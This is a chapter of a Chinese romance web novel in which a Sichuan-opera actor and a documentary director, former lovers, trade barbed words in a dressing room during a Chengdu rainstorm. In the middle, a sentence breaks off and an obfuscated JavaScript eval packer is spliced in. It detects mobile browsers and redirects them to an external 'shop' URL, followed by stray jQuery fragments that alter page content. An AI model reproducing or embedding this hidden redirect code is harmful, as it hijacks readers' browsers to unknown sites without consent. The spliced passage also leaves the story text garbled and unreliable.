“看够了吗？”李霄川的声音慢慢割开沉默。


    见陈声和不说话，他抬手继续卸妆，动作像在自虐，红色油彩在脸颊晕开一片，皮肤都快被擦破了。


    陈声和猛地上前，一把抓住他的手腕。李霄川的皮肤滚烫，脉搏在他掌心下剧烈跳动着。


    “别这样。”陈声和听见自己说。


    他伸手去够化妆台上的卸妆油，却不小心碰倒了苦荞茶杯。茶水在桌面上漫延，浸湿了一沓演出节目单。两人谁都没有去扶。


    李霄川的呼吸声变得粗重。


    陈声和蘸了卸妆油的棉片悬在半空，颤抖得厉害。他看见李霄川眼中闪过一些情绪，转瞬即逝。


    “怎么？”李霄川的声音沙哑，“陈导要亲自帮我卸妆？”他仰起脸，故意说，“就像以前那样？”


    记忆铺天盖地砸过来。


    大学时每次演出结束，陈声和都会帮李霄川卸妆。那时他们会挤在狭小的化妆间里，李霄川总爱哼着戏文逗他，直到他笑着把卸妆棉按在那张得意洋洋的脸上。


    陈声和的手悬在空中，卸妆油顺着棉片滴落在李霄川的戏服领口。


    他的视线模糊了，不知是汗水还是别的什么。镜中映出他们的身影，一个站着，一个坐着，中间隔着五年的时光，却谁都没有勇气先跨过那条线。


    或许有，只是陈声和装作不知道。


    李霄川猛地扣住他的手腕，力道大得让陈声和觉得骨头都在发疼。他看见对方眼底翻涌的情绪，和此刻窗外的天空一样，阴沉得让人心慌。


    “五年了，”李霄川一字一顿地说，声音压得很低，“你还是只会用摄像机当盾牌。”


    雨声开始变得很大，雨点砸在遮阳棚上的声响，由远及近，转眼就变成瓢泼大雨。


    陈声和恍惚想起，成都的雨季总是这样不讲道理。


    就像那年李霄川在练功房外突如其来的告白，就像机场分别时硬塞进他手里的那张脸谱，就像此刻……


    他站在化妆间里，手里捏着沾满卸妆油的棉片，却怎么也擦不去横在两人之间的那些污渍。


    李霄川松开手，转身面对镜子。他的半边脸已经擦得发红，另半边依旧浓墨重彩。


    陈声和看着镜中的倒影，忽地意识到，他们都在演一场名为释怀的戏，却连自个儿的脸都不敢看清。


    雨水顺着窗框渗进来，在木地板上积成小小一滩。


    潮汕老家的雨季也是如此，阿嬷总会拿着拖把念叨：“雨水带霉运，不能让它们留在屋里。”


    可此刻，他竟希望这场雨能下得再久一些。因为雨停之后，他们又要回到各自的世界。


    一个继续做他的川剧名角，一个继续当他的纪录片导演，中间隔着化妆镜，隔着摄像机，隔着那道永远擦不干净的油彩。


    被碰翻的茶水在桌面上留下一道蜿蜒的水痕，水滴随着窗外的雨滴落在地上，形成一条分界线。


    陈声和盯着那片水渍，想起大学时有一次，他们在李霄川姑姑的火锅店里吃宵夜。他不小心打翻了一杯冰镇酸梅汤，深红的液体泼在李霄川的白T恤上，晕开一大片。


    李霄川当时只是挑眉看他，用带着椒盐味的普通话说：“小广仔，你这是谋杀亲夫啊？”


    而现在，他们之间只剩下沉默，和一杯凉透的苦荞茶。


    “你妈还是老样子？”依旧是李霄川先开了口。


    陈声和的手指微微一顿：“嗯。”


    “催你结婚？”


    “……嗯。”


    “黄家女儿？林家千金……还是张家少爷？”


    陈声和猛地抬头，眼神里闪过错愕：“……你怎么知道？”


    李霄川笑了，笑意不达眼底：“你助理聊天挺大声的。”


    事实上，他昨晚在陈声和团队聚餐的餐厅偶遇了。他坐在隔壁的卡座，听了一耳朵关于黄家女儿下这周来成都的讨论。


    陈声和沉默了一会儿，忽然反问：“你呢？”


    “我什么？”


    “……黄金单身汉？”


    李霄川眉毛一挑，那眼神就跟逗猫似的：“哟，陈导这么关心我，要给我介绍对象啊？”


    “你明明知道我不是……”陈声和的话戛然而止，像是突然意识到自己差点脱口而出什么。


    “我啊，”李霄川拖长了调子，故意卖关子似的停顿了几秒，才慢悠悠转过脸，眼睛直勾勾盯着他，“现在可忙了，一个月换一个……”


    陈声和手指掐进掌心，牙关咬得发酸。


    李霄川瞧着他骤然缩紧的瞳孔，嘴角一勾，一字一顿地，把最后三个字轻轻吐出来。


    “男、朋、友。”


    空气中再次被沉默填满，只剩下窗外越来越急的雨声敲打着玻璃。


    李霄川的目光不由自主地落在陈声和的手腕上，那串手链已经戴上了，松松垮垮地挂在那里，明显大了一圈。


    他第一反应是陈声和怎么又瘦了。这手链上周才通知他去取，当时特意问的尺寸，怎么可能不合身。


    李霄川烦躁的伸手，从化妆台上皱巴巴的烟盒里抽出一支烟，随意地叼在唇间，却迟迟没有点燃。


    陈声和的目光追随着他的动作，眉头不自觉地皱起：“你以前……不是戒烟了。”


    “陈导，”李霄川含着烟，说话有点含糊，“人都善变嘛。”烟尾随着他嘴唇一动一动的，在昏黄灯光下晃出细小的影子。


    “再说了，”他抬起眼皮，目光直直刺过来，“我抽不抽烟，跟陈导有什么关系？”


    陈声和的嘴唇动了一下，最终什么也没说。


    李霄川把烟从唇间拿下来，修长的手指灵活地转着那支未点燃的烟，目光却落在陈声和紧抿的唇线上：“不过有些习惯倒是没变。”


    “……什么？”


    “你紧张的时候，”李霄川扬了扬下巴，“还是会摸那道疤。”


    陈声和的手指猛地僵住，被这话烫到一样，迅速放了下来，然后藏进了外套口袋里。


    李霄川的目光在他手腕上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005873|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一扫而过，哼了一声，随即若无其事地移开。


    窗外的雨势越来越大，豆大的雨滴砸在玻璃窗上，发出密集的噼啪声，几乎盖过了两人微弱的呼吸声。


    李霄川站起身，椅子在地板上划出刺耳的声响。几步走到窗边，他背对着陈声和站定。


    雨水在窗玻璃上蜿蜒成一道道透明的小溪，将他的身影切割成模糊的碎片。


    “还记得吗，”他的声音低低的，几乎被雨声吞掉，“以前你说，成都的雨跟潮汕的雨不一样。”


    陈声和的身体微微一僵。


    记忆鲜明起来。他们第一次一起淋雨，李霄川在雨中大笑着，说成都的雨是爽快的，来得快去得也快，不像潮汕的雨，缠绵又潮湿，像陈声和软乎乎粘人的性子。


    “记得。”他轻声说。


    李霄川没回头，只是看着窗外：“现在呢？你觉得成都的雨变了吗？”


    陈声和垂下眼睛，看着地板上那滩不断扩大的水渍，沉默了片刻才开口：“……没变。”


    “是吗。”李霄川的声音里带着满满的嘲意，手指在窗框上敲击着，“可我觉得变了。”


    陈声和抬起头，想要看清他的表情，却只能看到一个被雨水模糊成孤绝的背影。


    “现在的雨，”李霄川轻声说，“下得让人心烦。”


    窗外的雨声成了房间里唯一的背景音。


    陈声和盯着地上那滩水渍，看着它悄无声息地越洇越大，像缓慢扩张的情绪。他听见自己干涩的声音：“雨都一样，是人变了。”


    李霄川的背影在窗前僵了一瞬，随即发出一声短促的轻笑：“陈导现在说话，越来越有哲学味儿了。”


    “比不上李老师，”陈声和抬起头，目光落在他绷紧的后颈线上，“戏里戏外都演得挺好。”


    “…………”


    这话刺得明显，李霄川却没什么反应，只是抬手抹了把窗玻璃上的水汽。手指划过的地方留下清晰的痕迹，很快又被新的雨水覆盖。


    谁在演，谁没演，两个人心里都心知肚明。你刺我一句，我回你一句，剧组里那些“他们果然不合”的传闻，倒是一点没冤枉。


    “你那手链，”李霄川声音往下压了压，“尺寸不对就摘了吧，戴着不难受？”


    陈声和的手指在口袋里蜷了蜷，没接话。


    李霄川转过身，后背抵着窗台，视线总算落回陈声和脸上：“不愿意摘也行，反正陈导做事，从来都有自己的主意。”


    这话里的刺太扎人了，陈声和终于没忍住：“你非得这么说话？”


    “我哪样了？”李霄川头一偏，装得挺像那么回事，“我这不是在好好配合陈导您的工作吗？您要什么氛围，我就给什么氛围。怎么，还嫌我不够专业？”


    “…………”陈声和被呛得喉头一哽，像生吞了颗没剥壳的桂圆。


    连他自己这会儿都有点恍惚了……


    从前那个把他捧在手心里的人，现在说出的每个字，怎么都往心窝子上戳呢。